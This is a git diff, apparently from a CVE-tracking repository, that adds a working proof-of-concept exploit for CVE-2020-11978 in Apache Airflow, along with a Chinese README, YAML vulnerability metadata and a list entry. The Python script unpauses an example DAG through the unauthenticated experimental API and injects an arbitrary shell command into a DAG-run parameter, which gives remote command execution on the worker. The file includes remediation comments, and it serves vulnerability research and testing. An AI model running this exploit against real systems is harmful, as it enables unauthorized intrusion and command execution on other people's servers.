diff --git a/cve/apache-Airflow/2020/CVE-2020-11978/CVE-2020-11978.py b/cve/apache-Airflow/2020/CVE-2020-11978/CVE-2020-11978.py new file mode 100644 index 0000000000000000000000000000000000000000..70f26d6b81abe48a660555674c6007c21e64035e --- /dev/null +++ b/cve/apache-Airflow/2020/CVE-2020-11978/CVE-2020-11978.py @@ -0,0 +1,108 @@ +# This is a proof of concept for CVE-2020-11978, a RCE vulnerability in one of the example DAGs shipped with airflow +# Proof of concept written by: Pepe Berba +# Repo: https://github.com/pberba/CVE-2020-11978 +# More information can be found here: +# https://lists.apache.org/thread.html/r23a81b247aa346ff193670be565b2b8ea4b17ddbc7a35fc099c1aadd%40%3Cdev.airflow.apache.org%3E +# https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E +# +# Remediation: +# For CVE-2020-13927 make sure that the config `[api]auth_backend = airflow.api.auth.backend.deny_all` or has auth set. +# For CVE-2020-11978 use 1.10.11 or set `load_examples=False` when initializing Airflow. You can also manually delete example_trigger_target_dag DAG. +# +# Example usage: python CVE-2020-11978.py http://127.0.0.1:8080 "touch test" + +import argparse +import requests +import sys +import time + +def create_dag(url, cmd): + print('[+] Checking if Airflow Experimental REST API is accessible...') + check = requests.get('{}/api/experimental/test'.format(url)) + + if check.status_code == 200: + print('[+] /api/experimental/test returned 200' ) + else: + print('[!] /api/experimental/test returned {}'.format(check.status_code)) + print('[!] Airflow Experimental REST API not be accessible') + sys.exit(1) + + check_task = requests.get('{}/api/experimental/dags/example_trigger_target_dag/tasks/bash_task'.format(url)) + if check_task.status_code != 200: + print('[!] Failed to find the example_trigger_target_dag.bash_task') + print('[!] Host isn\'t vunerable to CVE-2020-11978') + sys.exit(1) + elif 'dag_run' in check_task.json()['env']: + print('[!] example_trigger_target_dag.bash_task is patched') + print('[!] Host isn\'t vunerable to CVE-2020-11978') + sys.exit(1) + print('[+] example_trigger_target_dag.bash_task is vulnerable') + + unpause = requests.get('{}/api/experimental/dags/example_trigger_target_dag/paused/false'.format(url)) + if unpause.status_code != 200: + print('[!] Unable to enable example_trigger_target_dag. Example dags were not loaded') + sys.exit(1) + else: + print('[+] example_trigger_target_dag was enabled') + + print('[+] Creating new DAG...') + res = requests.post( + '{}/api/experimental/dags/example_trigger_target_dag/dag_runs'.format(url), + json={ + 'conf': { + 'message': '"; {} #'.format(cmd) + } + } + ) + + if res.status_code == 200: + print('[+] Successfully created DAG') + print('[+] "{}"'.format(res.json()['message'])) + else: + print('[!] Failed to create DAG') + sys.exit(1) + + wait_url = '{url}/api/experimental/dags/example_trigger_target_dag/dag_runs/{execution_date}/tasks/bash_task'.format( + url = url, + execution_date=res.json()['execution_date'] + ) + + start_time = time.time() + print('[.] Waiting for the scheduler to run the DAG... This might take a minute.') + print('[.] If the bash task is never queued, then the scheduler might not be running.') + while True: + time.sleep(10) + res = requests.get(wait_url) + status = res.json()['state'] + if status == 'queued': + print('[.] Bash task queued...') + elif status == 'running': + print('[+] Bash task running...') + elif status == 'success': + print('[+] Bash task successfully ran') + break + elif status == 'None': + print('[-] Bash task is not yet queued...'.format(status)) + else: + print('[!] Bash task was {}'.format(status)) + sys.exit(1) + + return 0 + + +def main(): + arg_parser = argparse.ArgumentParser() + arg_parser.add_argument('url', type=str, help="Base URL for Airflow") + arg_parser.add_argument('command', type=str) + args = arg_parser.parse_args() + + create_dag( + args.url, + args.command + ) + +if __name__ == '__main__': + main() + + + diff --git a/cve/apache-Airflow/2020/CVE-2020-11978/README.md b/cve/apache-Airflow/2020/CVE-2020-11978/README.md new file mode 100644 index 0000000000000000000000000000000000000000..ea56d5cc04aaa8a1647c0feebb486c02cd13054b --- /dev/null +++ b/cve/apache-Airflow/2020/CVE-2020-11978/README.md @@ -0,0 +1,11 @@ +# Airflow-命令执行 +Apache Airflow 命令执行 + +#Use +Apache Airflow是一款开源的,分布式任务调度框架。在其1.10.10版本及以前,如果攻击者控制了Celery的消息中间件(如Redis/RabbitMQ),将可以通过控制消息,在Worker进程中执行任意命令。 + +# eg +python CVE-2020-11978.py http://127.0.0.1:8080 "touch test" + +# reference +code from: https://github.com/pberba/CVE-2020-11978 diff --git a/cve/apache-Airflow/2020/yaml/CVE-2020-11978.yaml b/cve/apache-Airflow/2020/yaml/CVE-2020-11978.yaml new file mode 100644 index 0000000000000000000000000000000000000000..591fd3bdd6a6070a9f90753cebe2a34baeb64f34 --- /dev/null +++ b/cve/apache-Airflow/2020/yaml/CVE-2020-11978.yaml @@ -0,0 +1,19 @@ +id: CVE-2020-11978 +source: https://github.com/pberba/CVE-2020-11978 +info: + name: Apache Airflow是一款开源的,分布式任务调度框架。 + severity: high + description: + Apache Airflow是一款开源的,分布式任务调度框架。在其1.10.10版本及以前的示例DAG中存在一处命令注入漏洞,未授权的访问者可以通过这个漏洞在Worker中执行任意命令。 + scope-of-influence: + Apache Airflow <= 1.10.10 + reference: + - https://nvd.nist.gov/vuln/detail/cve-2020-11978 + - https://security-tracker.debian.org/tracker/CVE-2020-11978 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2020-11978 + cnvd-id: None + kve-id: None + tags: cve2020, Apache, Airflow, code injection diff --git a/openkylin_list.yaml b/openkylin_list.yaml index 2b5c3a4e78079210ab32f7131c5f4c3727e0bc8d..565a76866b6abe59112e1de3d9ceda91da86d00a 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -16,6 +16,8 @@ cve: - CVE-2021-25641 apache-OFBiz: - CVE-2021-26295 + apache-Airflow: + - CVE-2020-11978 apache-log4j: - CVE-2021-44228 apache-solr: